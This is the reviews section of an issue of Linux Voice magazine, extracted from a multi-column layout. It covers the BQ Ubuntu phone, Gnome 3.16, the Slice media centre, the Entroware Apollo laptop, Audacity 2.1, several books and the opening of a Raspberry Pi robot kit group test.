    Niecza, a compiler that targets the .NET Common      faster startup times than the Java VM, but the       If you’re a Perl coder and would like us to
    Language Runtime and can be used with Mono.          latter is more suited to larger workloads and has
                                                                                                              run a tutorial on the new features, do get in
    There are other implementations too.                 more mature threading support.
                                                                                                              touch – your wish is our command!



                                                                      www.linuxvoice.com                                                                      47
        LISTEN TO THE PODCAST



         WWW.LINUXVOICE.COM




BUY           MUGS AND T-SHIRTS!




      shop.linuxvoice.com
                                                                                                                             INTRO REVIEWS




                                                 REVIEWS
                                                 The latest software and hardware for your Linux box, reviewed
                                                 and rated by the most experienced writers in the business


                                                  On test this issue...
                                                     50                                                       52



Andrew Gregory
My 16-character password isn’t secure because
it has no uppercase characters? Don’t be daft.




F
        ree software, much like freedom
        itself, isn’t free. If your motivation    BQ Aquaris E4.5                                          Gnome 3.16
        for using free software is saving         Like the kids on the buses these days,                   Ben Everard is confused by simplicity,
money, you need to be very careful you            Graham Morrison is always playing with                   but even he has to admit that this latest
don’t just end up spending it on other            his phone – all the more so now that he                  desktop from the Gnome team is slick,
things instead.                                   has one with Ubuntu running on it.                       functional and actually jolly good.
   Take Scribus: if we switch right away,
we’ll be able to save around £100 a
month on software licensing. We won’t                53                                     54                              55
need Macs either, so when we next
upgrade our hardware, we’ll be able to
get cheaper machines. But that’s only
half the story. If each issue takes 5%
longer to lay out because of the learning
curve, we’ll run out of hours in the day,
so we’ll have to hire some help to
                                                   Slice                                  Entroware Apollo Audacity 2.1
spread the load (this is likely to cost            Telly addict Les Pounder               Praise be, hardware that        This audio editing work-
somewhat more than £100 a month).                  has another reason to stay             comes with Linux out of the     horse has new features,
                                                   in and watch the box – this            box. Mike Saunders wants        great documentation, and a
Motivations                                        Raspberry Pi compute                   to like it… he really, really   load of known issues –
No, the only reason to use free                    module media centre.                   wants to like it…               Ben Everard tests it out.
software, or any other tool, is that it’s
better. Better for sharing, in the case of
Scribus, as we’ll be able to release our          BOOKS AND GROUP TEST
source files. Better for security, in the
                                                  The Raspberry Pi has been hugely successful, but at
case of GPG. Better for compatibility, in
                                                  its core, it’s just a Linux machine. Python, Scratch,
the case of LibreOffice.                          web browsing… all this can be done on any old
  Factor in training and total cost of            computer. What elevates the Pi is the way it can be
ownership, and the switch to free                 so cheaply and easily integrated into hardware
software isn’t free at all, even for a small      projects, and that’s why this issue’s Group Test – of
                                                  robotics kits – is so winning. If you want to be ready
organisation such as Linux Voice. It’s
                                                  for when the Internet Of Things takes off, get one of
going to be a big job to switch to                these and hone your hardware skills. Alternatively,
Scribus, but it’s going to be worth it (see       you could just read all about Bitcoin and speculate
page 26 to read about or progress!).              your way to a fortune, then buy a robot butler.
andrew@linuxvoice.com



                                                                   www.linuxvoice.com                                                                  49
     REVIEWS UBUNTU PHONE



BQ Aquaris E4.5 Ubuntu Edition
After spending two months with the new phone, and one week
abroad, we finally deliver our verdict.

                            L
                                    ast month’s cover feature was all about
  DATA                              Ubuntu’s new mobile operating system. But we
  Web
                                    didn’t include an objective look at the first
  www.ubuntu.com/phone      mobile device it’s available on: BQ’s Ubuntu Phone.
  Developer                 This was for two reasons. First, we’d only had the
  BQ/Canonical              phone for around a month and had yet to be brave
  Price                     enough to leave our regular phone, a Nexus 5, at
  €169.90
                            home. Second, Canonical and BQ were pushing out a
                            new update almost every day, and we wanted to give
                            them both a chance to catch their breath. Almost two
                            months later and the updates have abated, and we’re
                            finally prepared to give our opinion on what is without
                            doubt a monumental release for Canonical.
                               We’ll start with the hardware. BQ is Spain’s largest
                            smartphone manufacturer, and the Aquaris E4.5
                            is already one of its established models as it’s also
                            available as a mid-range Android device. This is
                            good, as it means the Ubuntu Edition is built on solid
                            hardware foundations. The brightness and quality
                            of the screen (540 x 960 - 240 ppi), for example, are
                            exceptional. The phone’s construction is also very
                            good, being slightly smaller and lighter in weight and
                            size than the higher specification LG Nexus 5.
                               There are two micro-sim card slots, so you can run
                            the phone with two different networks/accounts. This
                            is especially useful if you do a lot of travelling, as you   The phone is slightly smaller than a Nexus 5 with more
                            can pick up a Pay As You Go sim while abroad rather          expandability and great audio quality.
                            than paying roaming fees. And while internal storage
                            is 8GB (with around half free after the operating               After booting, the first screen you usually see
                            system is installed), there’s a micro SD card slot for up    displays the time and a circular dial beneath. This dial
                            to 32GB of additional storage. The CPU is a modest           is an attempt to illustrate your social interactions with
                            quad core that runs up to 1.3GHz, and the phone felt         the world, as the dots within their positions will grow
                            nothing but snappy while we were using it. Perhaps           depending on what you do and what you receive. You
There’s a front and rear
facing camera, and a        the only omission in the specification is the 4G, but        can swipe this screen to the right or left to reveal the
multi-coloured LED alerts   that this price threshold, you could argue that people       unlock ‘Enter passcode’ prompt, and regardless of
the owner to new            in the market for a 4G device would need a higher            whether you do this, you can always swipe from the
notifications.              specification of phone.                                      left edge to reveal the launcher icon toolbar.

                                                                                         No direction home
                                                                                         This doesn’t make much sense to us, because even if
                                                                                         you press the camera icon, in the hopes you can take
                                                                                         a quick photo without unlocking the device, it won’t
                                                                                         work. In fact, none of these icons will do anything
                                                                                         unless you proceed through the unlock process,
                                                                                         making their appearance here redundant. They could
                                                                                         possibly be used for notifications – the number of
                                                                                         unread Gmail messages shown on the Gmail icon,
                                                                                         for instance – but the only notifications you currently
                                                                                         have access to from the unlock screen are missed
                                                                                         calls and messages.
                                                                                           The phone’s 4.5-inch screen is the perfect size for
                                                                                         Ubuntu’s gesture system, as you need to get your
                                                                                         thumb swiping across every screen edge to get the



50                                                           www.linuxvoice.com
                                                                                                               UBUNTU PHONE REVIEWS

most out of the system. Swiping down from the top
is the trickiest, especially if you’ve got small hands,        Photo quality
but the notification system it displays is seamless
and powerful and, to our minds, the best example of
Canonical’s user-interface design.
   Similarly, swiping in from the right for task switching
is also effective, although it takes considerable effort
to reprogram your muscle memory if you’ve used
Android, especially as there’s no back button, and we’d
sometimes prefer to see the name of an application
as well as its preview. Scopes, activated with a long
swipe from the left, are the standard way of
interacting with the operating system and they’re a
huge part of Ubuntu’s innovation here. They work in a
similar way to scopes on the Ubuntu desktop,
aggregating content for a single view – different
music sources for playback, for example, or news
from both Engadget and the BBC.

Scopes for improvement                                         The camera sensors on the Aquaris E4.5           is to enable the HDR mode. On Android, this
We can see lots of potential for scopes, but we                (left) and the LG Nexus 5 (right) are similar    merges several images into a better exposed
                                                               with both providing an 8MP sensor, but we        photo, taking several seconds to do so, but
do feel they shouldn’t be the only point of entry to
                                                               were quite disappointed by the output from       we found that the Ubuntu equivalent seemed
the operating system. Quick access to the apps                 the Ubuntu Phone. Our Ubuntu photos were         to do almost nothing by comparison.
scopes would be useful, for example, and we don’t              more washed out, blurrier and less defined,          Not many people buy phones for their
understand why the Ubuntu Store is a scope while               while the Nexus produced more colour, more       camera, but this may be something to
System Settings isn’t, for example. The only way we            dynamic range and its files were smaller.        consider if impromptu photography is
                                                               The only creative option on Ubuntu Phones        important for you.
found of getting from one scope to another is by
finding a spare bit of background and swiping across
this. This space is usually the small ‘breadcrumb’ trail
at the top of each scope, but it takes some finding on       (OSMTouch) and Twitter are all handled by modern,
longer pages, and there’s no quick way of getting from       capable applications. It’s also brilliant that there’s a file
the left scope to the right scope, which is awkward          manager and terminal.
when you have many. Some sort of rapid scope                   With its 2150mAh battery we got around 24 hours
switching, as offered by the task manager, would help.       use out of the Aquaris. This is a little longer than our
   We’re not going to criticise the Ubuntu Phone             Nexus 5, but we’d imagine Canonical isn’t sending
for its lack of apps. As Linux users, we’re used to          back as much of our personal data as Google’s device.
this chicken and egg                                                                       This is still a phone that’s
conundrum; Canonical has
done a great job helping
                               “The most important question                                going to need charging
                                                                                           most nights, but we’ve
developers, and there are      is whether it can replace your                              noticed a considerable
plenty of new applications
appearing. If WhatsApp is
                               Android or iPhone.”                                         improvement in battery
                                                                                           life with some of the many
important to you, you may                                                                  updates that have been
want to hold off for a while. But the default apps are       pushed out since we got hold of the phone.
fair game, and we miss a decent email client. Dekko            The most important question to answer is whether
for IMAP access is the best we’ve found, but it needs        Bq’s Ubuntu Phone can replace your Android or
some attention.                                              iPhone. If you’re a Linux enthusiast, we think this is
   Another disappointment is the inability of third-party    easily a yes, because you’ll understand many of the
music apps to stream music in the background, or             challenges and shortcomings. For a wider audience
even when the screen is off. We remember when                though, we think it’s going to take some time. There
the iPhone couldn’t do this either – a necessary             need to be more user-interface refinements, more app
API lock-down to make sure the phone was secure,             development and a wider choice of hardware options.
but our Spotify addiction won’t be satisfied until           And we sincerely hope this happens.
the complex issues governing this non-feature are
addressed. Media playback provision is otherwise
                                                               LINUX VOICE VERDICT
excellent, with the default video and music players
                                                               A great phone with tons of potential,
coping with everything (locally) we threw at them.             slightly let down by its immaturity
Most of our other essential requirements were                  when faced with the competition.
also filled. Web browsing, ePub reading (with Beru),
messaging, contact management, OpenStreet Maps



                                                               www.linuxvoice.com                                                                             51
     REVIEWS GNOME 3.16



Gnome 3.16
Ben Everard went out to get some figurines for his garden, but ended up
with a new desktop environment instead.

                             G
                                      nome 3.16 is the ninth incarnation of Gnome
  DATA                                in the four years since the desktop
  Web
                                      environment dramatically changed in the leap
  www.gnome.org              from version 2 to 3. In those four years, Gnome 3 has
  Developer                  matured significantly and several major detractors --
  The Gnome Project          including Linus Torvalds -- have switched back to
  Licence                    Gnome after vocally deserting the desktop.
  GPL and LGPL
                                The main feature in 3.16 is the combined
                             notifications/calendar window that pops up when you
                             click on the time. It’s not entirely clear to us why the
                             notifications have been combined with the calendar
                             in this way. Gnome claims that “this gives a great
                             overview of what is currently happening, as well as          The notifications/calendar window can also be configured
                             what is scheduled for the day”. Perhaps it does, but to      to show a day’s events and a world clock if you desire.
                             us, notifications and calendar events are a completely
                             different set of things that we feel no need to              of imagination. It doesn’t really matter why, the result
                             combine. Still, despite the somewhat unusual pairing,        is just unnecessary confusion. Names aside, all these
                             the feature works well, and does provide easy access         are good, though unremarkable, applications.
                             to notifications history.                                       The push in recent Gnome releases to create
                                Gnome 3.16 brings one across-the-board change             small utility software specifically for this desktop
                             to the look and feel of applications, and that’s new         environment seems driven by the new GTK 3 menu
                                                                 scrollbars. Now, they    bars that combine the titlebar with some controls

“Hiding complexity away                                          minimise when not
                                                                 in use, and pop out
                                                                                          for the application. In this style, the menu bar is
                                                                                          removed and sometimes, but not always, replaced
doesn’t automatically make                                       when the mouse           by a single drop-down menu from one of the buttons.

an application easier to use.”                                   moves close to them,
                                                                 similar to the way the
                                                                                          This provides a much cleaner interface, and visually
                                                                                          fits in with the Gnome 3 look. However, simply hiding
                                                                 app icons behave ni      complexity away doesn’t automatically make an
                             Ubuntu’s Unity desktop. This does give some space            application easy to use. For many of the simple tools
                             saving, but it’s minimal, especially as horizontal space     that Gnome provides it works well, but we’re yet to be
                             isn’t a problem for most monitors.                           convinced that it’s a good idea across a desktop as a
                                There are three new applications in Gnome 3.16:           whole. Getting rid of menu items also means that you
                             Calendar, Characters and Books. These continue               can’t control software with Alt+letter.
The main view doesn’t
                             Gnome’s scheme of naming software after the                     It feels impossible to succinctly describe Gnome
show a window list or have
an application launcher,     things they work on. We don’t know whether this              3.16. There are parts of it that will drive some people
but if you switch to the     comes from a desire to help new users, an attempt            mad, not least the design team’s war on menus and
activities view, all is      to increase the search engine optimisation of the            minimise buttons, and some people will never come
revealed.                    Gnome suite (we really hope it’s not) or simply a lack       to terms with not having a window list on the desktop.
                                                                                          For these people, no amount of tweaking the UI or
                                                                                          improving the core apps will make Gnome Shell
                                                                                          useful. However, if you can buy into Gnome’s idea
                                                                                          of working where unnecessary complexity is hidden
                                                                                          away, and only a clean, simple interface is shown to
                                                                                          the user, then 3.16 is a good release. The new features
                                                                                          all work well, but there’s nothing in it to make us rush
                                                                                          out and upgrade.

                                                                                            LINUX VOICE VERDICT
                                                                                            The new notifications and scrollbars
                                                                                            look a bit nicer, but version 3.16 brings
                                                                                            no seismic changes to Gnome.




52                                                            www.linuxvoice.com
                                                                                                                             SLICE REVIEWS



FiveNinjas Slice
Les Pounder steps into the breach to test a new media centre based
on the Raspberry Pi Compute Module

W
            hen the Raspberry Pi first arrived way back
            in 2012, the first project that many of us
            tried was building a media centre. The
Raspberry Pi’s low price point and excellent media
capabilities made it a natural fit, if a little hacky. Slice is
the logical extension of the Pi’s media capabilities, and
there’s nothing hacky about it. It’s a project from
FiveNinjas, a team made up of Jon Williamson and
Paul Beech (Pimoroni), James Adams and Gordon
Hollingworth (Raspberry Pi Foundation), and Mo
Volans. Their goal was to create a slick media centre
using the Raspberry Pi Compute Module, which is a
Raspberry Pi Model B shrunk down to the dimensions
of a laptop SODIMM RAM module. So isn’t this just a
Raspberry Pi in a swish case? Well, no.
  Slice is a package of hardware and software. On the
back of the anodized aluminium case there’s a power
                                                                                                                              The software gives us a
connector, HDMI, three USB 2.0 ports, micro USB port,                But Slice isn’t just hardware: it is also a custom
                                                                                                                              slick and responsive
Ethernet and a digital output for audio output to a               version of OpenElec that has been configured to             interface that provides
dedicated sound system. Taking the lid off the case               provide the best performance on the Raspberry Pi. We        easy navigation via a
we can see many neopixel LEDs around the unit,                    first saw a preview of the software way back in             keyboard, mouse or the
which react to the user input to provide feedback for             August 2014 and then it was still heavily influenced on     bundled Slice media
tasks such as playing/pausing content. The                        the standard Kodi (the media player formerly known          remote.
Raspberry Pi Compute Module sits at the centre of                 as XBMC) user interface. The only gripe we faced was
the board, and can be removed from the unit enabling              turning off the subtitles on a video; we couldn’t do it
future upgrades to a possible Compute Module based                from the remote so we used the Yatse Android
on the BMC2836 package released for the recent                    application for Kodi.
Raspberry Pi 2.                                                      With your content saved to the internal hard drive,        DATA
                                                                  OpenElec will automatically scan your content and
Hard disk storage                                                 search for metadata such as plots, actor information          Web
                                                                                                                                http://fiveninjas.com
There’s also a SATA connection for a laptop hard drive            and cover art to make your collection look beautiful.
                                                                                                                                Manufacturer
to be attached to the unit. This gives us a neat                  Slice can also work with content stored remotely,             FiveNinjas
solution to storing our growing digital library; with a           either in a NAS via NFS, SSH or Samba or web                  Price
homebrew Raspberry Pi setup using the OpenElec                    streams such as The Ben Heck Show, BBC iPlayer and            From £139 with no disk,
distro you’ll typically need to use an external USB hard          4OD thanks to a series of community-maintained                to £239 with 2TB disk
drive, which is fine, but doesn’t look as nice as Slice.          add-ons. Add-ons exist for channels, film trailers, web
Adding content to Slice is a simple task: when plugged            scrapers, weather, music, and there’s even a ROM
in to a computer via the included micro USB cable,                manager add-on to play emulated games.
Slice will appear as a removable hard drive enabling                 Slice is currently in its preview stage with a lot of
you to copy content over.                                         extra functionality still to be made available – for
                                                                  example, the team are working on an app that will
                                                                  enable custom colours and indicators for the many
                                                                  neopixels. The system is also future-proofed thanks to
                                                                  the Compute Module – if or when the Raspberry Pi
                                                                  Foundation releases a new Compute Module, it will be
                                                                  installable in Slice for a quick power boost!

                                                                    LINUX VOICE VERDICT
                                                                    A hackable and solid platform for high
                                                                    end consumers – great for those who
                                                                    take their media seriously.
When it’s plugged in to a computer, Slice appears as a
removable hard drive, so you can copy content over.


                                                                    www.linuxvoice.com                                                                    53
     REVIEWS ULTRABOOK



Entroware Apollo
It’s thin, it’s sturdy and it’s bundled with Linux. But should the Apollo
be your next laptop? Mike Saunders investigates.

                            E
                                     ntroware is a new-ish UK-based company that          Broadwell integrated graphics-powered 1920 x 1080
  DATA                               sells PCs and laptops with Linux pre-installed.      pixel 13.3” display is a 720P webcam. The Apollo’s
  Web
                                     Back in issue 11 we looked at its Proteus            keyboard is generally good, if a bit rattly at times,
  www.entroware.com         laptop, and we were largely impressed, giving it 4/5          although we find the extra Fn key on the right-hand
  Specs                     stars: it’s a chunky machine, but well built with a great     side a total waste of space (it makes the Shift key
  2.2GHz i5, 4GB RAM,       keyboard. Now Entroware is getting into the ultrabook         much narrower than it could be). There’s already an
  128GB SSD                 market with the Apollo, a laptop from Chinese original        Fn key on the left-hand side, so do we really need
  Price
  £499 (base model), £622
                            design manufacturer Topstar (model number U731).              another? No.
  (review model)               The machine we got hold of is a quad-core 2.2GHz
                            Intel i5 5200U CPU, with 4GB RAM and a 128GB                  Scrolling strangeness
                            Samsung SSD. This costs £622 from Entroware’s                 Now, The Apollo has a serious flaw: the trackpad. It
                            online shop, but a base model with a 2.1GHz i3 chip           doesn’t support two-finger scrolling, so you’re left
                            and 500MB of hard drive space is available for the            with the older edge-scrolling method, and this is
                                                      lower price of £499. Ubuntu         fundamentally broken. The faster you move your

“We just can’t recommend                              14.10 is pre-installed, but you
                                                      can also buy the machine
                                                                                          finger along the edge, the slower it scrolls – which
                                                                                          sounds completely bizarre, so we had to make a
the Apollo with its current                           without an OS if you plan to        video about it so you can see the weirdness for

trackpad and fan issues.”                             install your own distro as soon
                                                      as you take it out of the box. If
                                                                                          yourself: www.linuxvoice.com/apollo.ogv. It can be
                                                                                          very frustrating to use, and while Entroware sent us
                                                      you’re fairly new to Linux,         a few IMWheel configurations in an attempt to fix it
                            though, Ubuntu is the best choice, as things like power       (IMWheel is software that remaps what’s defined
                            management (suspend and resume) work straight                 as mouse wheel movement), none of them worked
                            away without any extra fiddling required from the user.       properly. It’s a real shame, as the trackpad is of a
                               Hardware-wise, the Apollo is a good looker and very        decent size and smoothness, but without a sensible
Entroware adds Tux
                            well built. The silver aluminium chassis is firm, and the     scrolling facility it’s largely useless to many people.
penguin stickers to the
                            machine is light and thin, weighing 1.42kg with                  Our other big gripe with the Apollo is the fan. It’s
Windows key. Proper Tux
keys would require bigger   dimensions of 325 x 219 x 18 mm. The left-hand side           always stopping and starting. When the laptop is idle,
orders from Topstar than    contains ports for power, headphones and USB 2,               the fan turns off, but as soon as you do anything
Entroware is placing at     while the right-hand side has an Ethernet port along          slightly CPU intensive – even scrolling a web page –
present.                    with USB 3, HDMI and SD card ports. Above the                 the fan turns on. Stop to read for a while, and the fan
                                                                                          turns off. This isn’t a deal-breaker if you work in a
                                                                                          noisy environment, but it becomes rather annoying in
                                                                                          quiet settings. On the upside, the machine never gets
                                                                                          hot to the touch, but we’d rather the fan was always
                                                                                          running in a very quiet mode, or sacrificed a bit of heat
                                                                                          and only turned on when CPU usage jumped to a
                                                                                          higher level. We talked to Entroware about this and
                                                                                          tried to tweak the settings, with lm-sensors and
                                                                                          pwmconfig – but to no avail.
                                                                                             Ultimately, the Apollo has left us feeling blue. We
                                                                                          approve of any efforts to sell laptops without the
                                                                                          Windows tax, but we just can’t recommend the Apollo
                                                                                          with its current trackpad and fan issues. If you’ve
                                                                                          fallen in love with the design, you could contact the
                                                                                          maker and see if it has discovered any fixes in the
                                                                                          meantime, but in its current configuration we can’t
                                                                                          give it a thumbs-up.

                                                                                            LINUX VOICE VERDICT
                                                                                            Sturdy and well built, but the trackpad
                                                                                            and fan issues are major let-downs.




54                                                           www.linuxvoice.com
                                                                                                          AUDACITY 2.1 REVIEWS



Audacity 2.1
Ben Everard needs fancy audio software to make him sound
intelligent on a podcast. Can Audacity manage it?

A
         udacity enables you to record and manipulate
         audio on Linux. For those of you that have
         never tried doing this, it’s more fraught than it
first seems: getting sounds to go into a computer and
come out again in the correct manner is a difficult
task, and the human ear is very good at picking up
any errors.
   We use Audacity as part of our daily life at Linux
Voice to record our fortnightly podcast. There are
two features in the new release that will make our
lives easier: a live preview of effects, and improved
noise removal.
   The real-time preview is, perhaps, not quite what it
sounds like, because it doesn’t allow you to change
the settings for an effect during playback; but it
does allow you to hit a button and instantly hear the
effect without waiting for it to be applied to the whole
                                                                                                                         The WxWidgets interface
project. This instant preview, which happens without         quite some time, but in the new version allows every
                                                                                                                         looks a little dated when
having to close the effect dialog, makes it far easier to    effect to be used in this manner.                           compared to more modern
try out different settings. This makes it easier to get a       The documentation for Audacity should stand as an        widget toolkits, but it’s
great sound, but it also makes it easier to learn how        example to other open source projects. It’s thorough,       easy to use and works on
different parameters of a particular effect change the       up-to-date and easy to navigate. Even though Audacity       many OSes.
end result. It’s by messing around with effects in this      can be quite complex, the Wiki should guide you
manner that new users can best learn how to make             through most tasks you need to do. The result of
noises sound like they should.                               this is that it is, in many cases, easier to use than
                                                             simpler, more stripped-down software, because you             DATA
The chain                                                    can always work out what you need to do even if the
                                                                                                                           Web
In version 2.1, all effects can be included in scripts       process is more complex in Audacity. Because of the           http://audacity.
known as chains. These chains enable users to                documentation, we feel we can recommend Audacity              sourceforge.net
define a set of operations                                                                to people without experience     Developer
that should be applied to                                                                 with audio as well as more       The Audacity Team
an audio project, and run       “The documentation for                                    seasoned users.
                                                                                                                           Licence
                                                                                                                           GPL v2
them repeatedly. This can
make life easier for people
                                Audacity should stand as an                                  This new release isn’t
                                                                                          without its problems. The
who run a standard set of       example to other projects.”                               release notes (http://wiki.
processes on a number of                                                                  audacityteam.org/wiki/
tracks, such as those who                                                                 Release_Notes_2.1.0)
record a podcast every fortnight and have a series of        contain a section on known issues that’s 9,500 words
effects to improve the sound quality before uploading        long. We compliment the Audacity team on thoroughly
it to the internet. Chains have been in Audacity for         documenting the problems, but there’s no escaping
                                                             the fact that there’s a huge list of flaws, and many
                                                             of them cause application crashes that could lose
                                                             data. When the data is live audio recordings, that
                                                             could mean lost data that’s impossible to recover or
                                                             recreate. While we welcome the new features, the bug
                                                             list is just too high.

                                                               LINUX VOICE VERDICT
                                                               Audacity is still our audio editor of
                                                               choice, but stability issues prevent us
Noise reduction is one of the most important features in       from giving it a higher score.
audio editing software, so the improvements in this area
are huge gain for Audacity.



                                                               www.linuxvoice.com                                                              55
     REVIEWS BOOKS



Bitcoin: The Future of Money?
Ben Everard is converting his wealth to a new currency: Bath Ales’ loyalty points.


I
     n Bitcoin: The Future Of Money?,              strays into technical areas (such as when it
     Dominic Frisby explores the impact            describes Tor as an ‘encrypted browser’). It
     that Cryptocurrencies have had, and           doesn’t leave the reader with any real
could have on the world. He looks into the         understanding of what Bitcoin actually is, or
Cypherpunk culture that spawned the ideas          any grounding for the belief that it should
behind cryptocurrencies, the people who are        work. Admittedly, this is a hard thing to
using Bitcoin now, and he even attempts to         achieve, since the technical details can be
uncover Satoshi Nakamoto, the currency’s           difficult to fully comprehend, but we would
enigmatic creator.                                 have liked more understanding in this area.
   In Life After The State, Frisby’s previous
book, the author details how we can live                 Many governments may still try to outlaw
without a government, and this anti-                     Bitcoin – hence the question mark.
authoritarian attitude is clear in Bitcoin: The
Future Of Money?. However, this isn’t simply a       LINUX VOICE VERDICT
treatise on how to rid the world of central          Author Dominic Frisby
banks: it’s a cool-headed look at the financial      Publisher Unbound
system, and how Bitcoin can change it.               Price £8.99
                                                     ISBN 978-1783520770
   Our main criticism of the book is that it’s
                                                     A good investigation of the social issues of
very light on the technical details on Bitcoins      digital currency.
and the surrounding world of cryptography.
There are a few minor mistakes when it




Black Code
Ben Everard is now too afraid to use the internet and only responds to letters.


C
         itizen Lab is a project run by the           The expanded edition includes some
         University of Toronto that focuses        information about the Snowden leaks, but
         on human rights and global security       this book is more globally focused, and
online. It has investigated attacks on the         much of the issues covered are in the global
Dalai Lama, the Indian defence ministry and        South and East (to use the Author’s term for
ordinary Facebook users (among others).            countries outside of Europe and North
Black Code is a book about its work.               America).
    As well as passively monitoring the               This is an important book for anyone
security situation, Citizen Lab actively           interested in the dark side of the internet,
investigate the attacks and in many cases          though with a little more structure, it could
has been able to retrieve large amounts of         have been much better.
information from the attackers. This has led
its members further into the world of cyber
espionage and crime. Deibert takes the                 When you look at your computer, just
reader along as they go.                               remember that it may be looking back.
    Black Code at times feels a little
directionless. It’s full of information, but the     LINUX VOICE VERDICT
links between those bits of information feel a       Author Ronald J Deibert
little muddied, and the overall conclusions          Publisher McClelland and Stewart
aren’t clear. After reading, it’s not clear what     Price £12.99
                                                     ISBN 978-0771025358
the point of all the information was, and the
                                                     Black Code is full of attention-grabbing facts,
sheer volume of it can make it difficult to          but fails to unify them into a central theme.
mentally process. A stronger narrative flow
would, we feel, make the book easier to read.



56                                                              www.linuxvoice.com
                                                                                                                    REVIEWS BOOKS


Penetration Testing                                                                               ALSO RELEASED…
Graham Morrison stupidly forgot his account password.



L
        et’s be honest. While learning
        how to defend against hackers is
        undoubtedly both practical and
provident, the real draw to penetration
testing is that it’s a fascinating, challenging
and ever evolving subject. It’s why we give
it coverage. That one of its side effects
is excellent security skills is an awesome                                                                                    Our image dyslexia
bonus upgrade. What we really want                                                                                            keeps telling us
                                                                                                                              this is a cook book.
to know is how you can exploit bugs in
someone’s code so you can write silly                                                             The GNU Make book
things to their terminal or line printer.         to date. But the principles and approaches      Not content with campaigning for an apology
   Penetration Testing is an excellent and        will remain relevant, which we feel makes       for Alan Turing, or rebuilding Babbage’s
comprehensive title, using Kali Linux and         this an excellent next step if you enjoyed      Analytical Engine, John Graham-Cumming has
                                                                                                  found the time to write a book about one of the
Metasploit in similar ways to our feature in      our own feature this issue.
                                                                                                  most arcane and complex commands we all
this issue (see p18). The author also has                                                         rely on in almost every Linux installation.
an interest in smartphones, which are               LINUX VOICE VERDICT
covered in their own chapter, as well as            Author Georgia Weidman
social engineering. The only downside is            Publisher No Starch Press
that the book is aimed at beginners, so             ISBN 978-1-59327-564-8
                                                    Price £33.50
we’re not sure how practical some of the
                                                    The exploits may be a little dated, but the
exploits are. Many will target old versions         principles of hacking remain intact.
of Windows, for example, and it’s going to
be a challenge to keep a book like this up


                                                                                                                                  Apparently it’s
                                                                                                                                  pronounced
High Performance Python                                                                                                           ‘cute’.

There’s very little about Graham Morrison that isn’t high performance.                            Qt 5 Blueprints
                                                                                                  There’s nothing like the Qt API/toolkit for cross



P
                                                                                                  platform programming, and it’s open source!
         ython is a wonderful programming                                                         Despite this, Qt doesn’t always get the
         language, but it does have the                                                           attention it deserves, so we’re glad to see
         unfair reputation that it isn’t the                                                      another title that hopefully sheds some light
fastest running code on your computer.                                                            on how easy it is to construct animated GUIs.
This makes it ideal for learning or for
prototyping, but many developers will be
moving on to something else after they’ve
proven their concept in Python. However,
there’s an awful lot you can do to make
your Python code faster, and learning how
will not only improve your projects, but
your whole approach to programming.               end result is a fascinating title that we                                      Nothing’s
   What makes this book such a great read         thoroughly enjoyed reading and that’s likely                                   gonna beat
is that it has a purely analytical approach.      to have a huge performance impact on                                           a Casio
There’s plenty of Python-specific guidance,       your own programming projects.                                                 calculator
such as using the cProfile tool that’s part                                                                                      watch.
of Python’s standard library and a variety          LINUX VOICE VERDICT                           Beginning Android Wearables
of other profilers. There’s also an in-depth        Author Micha Gorelick & Ian Ozsvald           We don’t get it – all this excitement over
look at more general concepts, such as              Publisher O’Reilly                            Apple’s exciting new venture into clothing the
                                                    ISBN 978-1-449-36159-4                        emperor. At least with Android there’s a choice,
multiprocessing and memory
                                                    Price £26.50                                  and if smartwatches interest you, there’s very
fragmentation. These are complex
                                                    A great upgrade for your Python code,         little documentation. This book might help,
subjects but the book remains practical,            especially if you do any data analysis.       even if its Google Glass coverage doesn’t.
with lots of examples, and readable by
anyone who’s dabbled with Python. The



                                                                  www.linuxvoice.com                                                                57
      GROUP TEST RASPBERRY PI ROBOTS




RASPBERRY PI       GROUP TEST
     ROBOTS The GPIO pins on your Raspberry Pi are crying out for you to add
                   some sort of robot chassis. Les Pounder finds the best for you.



  On Test                                                Raspberry Pi Robots
                                                         T
                                                                  he human race has a                  the Rapiro, which retail for many
   4Tronix Agobo                                                  certain love affair with             hundreds of pounds. Choosing the
                    URL http://4tronix.co.uk                      robots. From the early days          right robot can be a difficult task
                    PRICE £35.82                         of film we have The Day The Earth             and that is where kits such as those
                    Based on the Raspberry Pi A+,        Stood Still where an ominous robot            in our group test can really help get
                    Micro Gear Motors, Ultrasonic        named Gort protected his master.              you off to a flying start.
                    and line-following sensors, easy     Moving forward to the 1970s and                  In late 2014 the Cambridge
                    to build.                            1980s we have the loveable C-3PO,             Raspberry Jam team, Michael
                                                         R2-D2 and a certain war machine               Horne and Tim Richardson, created

   RyanTeck Budget Robotics Kit                          turned pacifist called Johnny 5. In
                                                         those early days we would dream
                                                                                                       Pi Wars, an event that showcased
                                                                                                       many different robots from around
                    URL http://store.ryanteck.uk         of owning a robot that could do our           the UK. Some were built from
                    PRICE £29.99
                                                         bidding, as long as your bidding did          scratch using many different
                    Simple to build, expansive
                                                         not violate Isaac Asimov’s three              maker skills such as laser cutting,
                    platform, east motors, easy to
                    program in ScratchGPIO.              laws of robotics.                             electronics and metalwork, while
                                                            Building a robots can be an                others were based on an existing
                                                         incredibly personal project, from             platform that had been modified.
                                                         choosing the components to giving             Basing your robot project on an
   4Tronix Pi2Go Lite                                    the robot a name. Each robot is               existing platform is a smart move
                    URL http://4tronix.co.uk/store       unique and loved by its maker, and            for those new to robotics, as a lot of
                    PRICE £35.95                         with the Raspberry Pi enabling                the hard component choices have
                    Strong chassis, easy to program      anyone to build a robot it has                been made for you and the maker
                    using Scratch and Python,            never been easier to get started              has created a series of instructions
                    expansive selection of sensors.      with robotics. There are many                 for you to follow.
                                                         different robots on the market,                  There are many different robotics
                                                         from cheap and cheerful kits that             packages on the market and we
                                                         retail for around £30, up to large            have chosen five of the best for all
   Dawn Robotics Pi Camera Robot                         sophisticated projects such as                levels of roboteers.
                    URL www.dawnrobotics.co.uk

                                                         “Basing your robot project on an existing
                    PRICE £69.97
                    Extensive series of motor control

                                                         platform is a smart move for beginners.”
                    thanks to an Arduino; camera
                    pan and tilt kit for precise
                    camera control.

                                                           How we tested
   PiBorg DiddyBorg                                        To keep things fair we have catergorised    system as it is the most popular OS for
                    URL www.piborg.org/diddyborg           each of the robots to ensure the best fit   the Raspberry Pi and comes with the
                    PRICE £180                             for prospective users. We have robot        best level of support.
                    Six powerful motors, rugged            kits that start from the beginner level        For the code that powers the robots
                    all-terrain design, impressive         and move on to the intermediate level of    we have used the default
                    battery life, access to full GPIO.     user and finally we have the advanced       recommendations given to us by the
                                                           robot kits for experienced roboteers.       inventors of each robot. Finally, we
